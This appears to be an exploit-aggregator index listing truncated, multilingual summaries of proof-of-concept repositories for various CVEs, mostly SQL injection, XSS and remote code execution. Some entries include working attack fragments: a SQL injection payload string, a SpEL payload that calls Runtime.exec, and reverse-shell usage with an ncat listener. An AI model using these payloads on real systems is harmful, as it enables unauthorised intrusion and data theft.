CVE-2023-49547

CVE-2023-49547 Système de Support Client 1.0 - Contournement de connexion par injection SQL Description : Le Customer Support System 1.0 est vulnérable à une injection SQL. Une vulnérabilité d'injection SQL dans Customer Support System 1.0 permet à des attaquants distants non authentifiés de...

CVE-2021-41647

CVE-2021-41647 CVE-2021-41647 حقن SQL في تطبيق Online-Food-Ordering-Web-App تطبيق Online-Food-Ordering-Web-App عرضة لهجمات حقن SQL العمياء الزمنية والمبنية على الأخطاء غير المصادق عليها. لا يقوم معامل username في الصفحة /login.php بتعقيم إدخال المستخدم، مما يمكن المهاجم من تجاوز تسجيل الدخول...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - استغلال ثغرة تنفيذ الأوامر في Wing FTP Server يوفر هذا المستودع نموذجًا لإثبات المفهوم لاستغلال CVE-2025-47812 ، وهي ثغرة تنفيذ أوامر عن بُعد RCE في Wing FTP Server. يمكن للمهاجم حقن وتنفيذ أوامر نظام تعسفية مبنية على Lua عن طريق إساءة استخدام معامل username أثناء المصادقة، مما...

CVE-2021-46108

CVE-2021-46108 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link Routeur DSL-2730E - Cross-Site Scripting stocké Les appareils D-Link DSL-2730E CT-20131125 permettent une XSS via ...

CVE-2024-35511

PHPGurukul Men Salon Management System 2.0 مرحبًا بك في مستودع PHPGurukul Men Salon Management System 2.0. يهدف هذا المشروع إلى توفير نظام قوي لإدارة صالونات الرجال. الثغرات الأمنية CVE-2024-35511 الوصف: عرضة لحقن SQL عبر معامل 'username'. الإصدار المتأثر: 2.0 الأثر: يمكن للمهاجمين التلاعب بمعامل...

CVE-2018-14699

CVE-2018-14699 حقن أوامر بدون مصادقة في وظيفة enableuser من DroboAccess الإصدار 2.1 الاستخدام: لاستخدام الأداة، قم أولاً بتشغيل مستمع ncat -nvlp 1337 ثم قم بتشغيل الاستغلال مثال: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='المضيف المستهدف للاستغلال، مثال:...

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL

Red-Planet-Laundry-Management-System-1.0-is-vulnerable-to-SQL https://vulners.com/cve/CVE-2022-28452 https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-28452 https://laundry.redplanetcomputers.com/ 1-الوصف: نظام Red Planet Laundry Management System 1.0 معرض لثغرة SQL Injection عبر المعامل...

CVE-2023-31719

CVE-2023-31719 من الممكن حقن كود SQL في معامل JSON "username" من نقطة النهاية /api/signin عبر طلب HTTP POST root@kitploit: "username":"test' OR 2891=LIKECHAR65,66,67,68,69,70,71,UPPERHEXRANDOMBLOB500000000/2-- ZJMj","password":"test" اسم المنتج المتأثر: FUXA الإصدار المتأثر: = 1.1.12 المشكلة: حقن...

CVE-2024-44541

CVE-2024-44541: ثغرة حقن SQL في Inventio Lite v4 الوصف Inventio Lite v4 عرضة لحقن SQL SQLi في نقطة النهاية /action=processlogin. تسمح هذه الثغرة للمهاجمين بحقن استعلامات SQL عشوائية عبر معامل username في طلبات POST، مما قد يؤدي إلى وصول غير مصرح به واستخراج البيانات. الكود المعرض للثغرة الكود...

cve-2022-22980

spring-data-mongodb-cve-2022-22980-exp Незначительная уязвимость, просто запись. 1. Запустите Redis, порт 27017 2. Запустите проект, Spring Boot стартует на порту 6666 3. root@kitploit: GET /v1/user/get?username=Tjava.lang.Runtime.getRuntime.exec'open+-a+calculator.app' HTTP/1.1 Host:...

CVE-2024-12484

CVE CVE-poc نوع الثغرة حقن SQL السبب الجذري تم تحديد ثغرة حقن SQL في ملف /signuppost.php في مشروع “Technical Forum Using PHP Source Code”. تنبع الثغرة من حقيقة أن المهاجم يمكنه حقن تعليمات برمجية خبيثة عبر معامل اسم المستخدم لتسجيل الدخول واستخدام هذا المعامل مباشرة في استعلام SQL دون تحقق. وهذا...

CVE-2025-47812

CVE-2025-47812 – تنفيذ أوامر عن بُعد في خادم Wing FTP عبر حقن Lua المؤلف: 0xgh057r3c0n 🧠 الوصف يستغل هذا الاستغلال ثغرة حقن Lua في معالج تسجيل الدخول loginok.html لخادم Wing FTP Server لتنفيذ أوامر نظام تشغيل عشوائية أو الحصول على شل عكسي. يسيء استخدام تنفيذ كود Lua غير المنظف عبر وسيط username. ...

Blackash-CVE-2025-47812

🛡️ CVE-2025-47812 – ثغرة RCE حرجة في Wing FTP Server 🛡️ 🔎 نظرة عامة: CVE-2025-47812 هي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE حرجة تؤثر على إصدارات Wing FTP Server السابقة للإصدار 7.4.4. تم اكتشافها بواسطة باحث أمني وتم التأكيد على أنها تُستغل بنشاط في البيئات الفعلية. 🧱 السبب الجذري: تكمن الثغرة في...

CVE-2026-85405

Eleveo Call Recording Software 9.7.0 contains a cross-site scripting (XSS) vulnerability in the /callrec/roleAddAction.do endpoint. Manipulating the name/username argument allows a remote, authenticated attacker with user interaction to inject scripts, resulting in a low integrity impact. The exp...

Zoo Management System 1.0 - SQL Injection

Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id:...

Loan Management System 1.0 - SQL Injection

Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. id: CVE-2025-9744 info: name:...

CVE-2025-7753

🚨 CVE-2025-7753 — استغلال SQL Injection PoC المؤلف: Byte Reaper تيليغرام: @ByteReaper0 CVE: CVE‑2025‑7753 الثغرة: SQL Injection غير مصادق عليها، قائمة على الوقت 🔍 نظرة عامة توجد ثغرة SQL Injection خطيرة في Online Appointment Booking System 1.0 Code‑Projects في الملف /admin/adddoctor.php. معامل...

CVE-2025-8550

CVE-2025-8550 – atjiu pybbs XSS 익스플로잇 설명 이 저장소는 atjiu pybbs ≤ v6.0.0에서 발견된 반사형 교차 사이트 스크립팅XSS 취약점인 CVE-2025-8550 에 대한 자동화된 개념 증명PoC 익스플로잇을 제공합니다. 이는 입력값 검증이 부족한 /admin/topic/list 엔드포인트의 username 매개변수를 대상으로 합니다. 기능 20개 이상의 페이로드 변형: script, SVG, iframe, object, onerror 핸들러 등. 자동 URL 인코딩: libcurl의...

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability-

CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability المؤلف: ugurkarakoc الصفحة الرئيسية للبائع https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql رابط البرنامج https://phpgurukul.com/?sdmprocessdownload=1&downloadid=17826 نظرة عامة...

autocrack

AUTOCRACK.py This python script is a Hashcat https://hashcat.net wrapper to help automate the cracking process. The script includes multiple functions to select a set of wordlists and rules, as well as the ability to run a bruteforce attack, with custom masks, before the wordlist/rule attacks...